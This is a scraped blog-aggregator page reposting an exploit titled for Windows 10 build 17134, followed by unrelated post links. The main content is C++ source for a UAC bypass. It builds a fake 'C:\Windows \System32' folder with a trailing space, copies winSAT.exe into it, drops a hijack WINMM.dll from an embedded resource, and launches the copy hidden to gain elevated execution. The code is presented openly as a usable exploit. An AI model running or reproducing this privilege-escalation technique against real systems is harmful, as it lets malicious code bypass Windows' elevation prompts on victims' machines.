zoukankan      html  css  js  c++  java
  • [EXP]Microsoft Windows 10 (Build 17134)

    #include "stdafx.h"
    #include <Windows.h>
    #include "resource.h"
    
    void DropResource(const wchar_t* rsrcName, const wchar_t* filePath) {
        HMODULE hMod = GetModuleHandle(NULL);
        HRSRC res = FindResource(hMod, MAKEINTRESOURCE(IDR_DATA1), rsrcName);
        DWORD dllSize = SizeofResource(hMod, res);
        void* dllBuff = LoadResource(hMod, res);
        HANDLE hDll = CreateFile(filePath, GENERIC_WRITE, 0, 0, CREATE_ALWAYS, 0, NULL);
        DWORD sizeOut;
        WriteFile(hDll, dllBuff, dllSize, &sizeOut, NULL);
        CloseHandle(hDll);
    }
    
    int main()
    {
        _SHELLEXECUTEINFOW se = {};
        //Create Mock SystemRoot Directory
        CreateDirectoryW(L"\\?\C:\Windows \", 0);
        CreateDirectoryW(L"\\?\C:\Windows \System32", 0);
        CopyFileW(L"C:\Windows\System32\winSAT.exe", L"\\?\C:\Windows \System32\winSAT.exe", false);
    
        //Drop our dll for hijack
        DropResource(L"DATA", L"\\?\C:\Windows \System32\WINMM.dll");
    
        //Execute our winSAT.exe copy from fake trusted directory
        se.cbSize = sizeof(_SHELLEXECUTEINFOW);
        se.lpFile =  L"C:\Windows \System32\winSAT.exe";
        se.lpParameters = L"formal";
        se.nShow = SW_HIDE;
        se.hwnd = NULL;
        se.lpDirectory = NULL;
        ShellExecuteEx(&se);
    
            return 0;
    }
                
  • 相关阅读:
    asp.net 中input radio checked 无效
    AD对象DirectoryEntry本地开发
    Linux部署
    spring 定时任务配置使用
    闲言碎语
    javascript 折后保留一位小数
    JSON 实力应用
    水晶报表(crystal report )中显示CheckBox
    html 笔记
    转载-js按回车键实现登陆-myself
  • 原文地址:https://www.cnblogs.com/k8gege/p/10533734.html
Copyright © 2011-2022 走看看